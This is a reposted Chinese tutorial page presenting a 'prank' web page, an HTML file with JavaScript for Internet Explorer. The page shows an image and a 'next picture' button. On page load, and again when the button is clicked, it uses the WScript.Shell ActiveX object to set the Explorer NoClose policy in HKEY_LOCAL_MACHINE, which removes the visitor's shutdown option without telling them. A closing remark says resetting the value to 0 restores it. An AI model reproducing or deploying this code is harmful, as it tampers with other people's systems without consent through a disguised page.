首页 > 语言 > PHP > 正文

JavaScript实现删除电脑的关机键

2024-05-04 23:48:51
字体:
来源:转载
供稿:网友

纯属恶作剧(只对IE浏览器有效因为要调用ActiveX)

<!--E-mail:shyhero@outlook.comAuthor: dujianing 删除关机按钮    --><!DOCTYPE html><html>  <head>    <meta charset="UTF-8"/>    <title></title>    <script type="text/javascript" language="javascript">       function disableTaskMgr(flg){          var shell = new ActiveXObject("WScript.Shell");          try{        shell.RegWrite("HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoClose",        1,"REG_DWORD")        }catch(e){        throw e;       }     }     </script>  </head>  <body onLoad="disableTaskMgr(true)">     <img src="imgs/2.jpg"/>    <button onclick="disableTaskMgr(true)">下一张    </button>   </body></html>

备注:可以恶作剧一下,修改注册表,把值改为0就能还原


注:相关教程知识阅读请移步到PHP教程频道。
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表

图片精选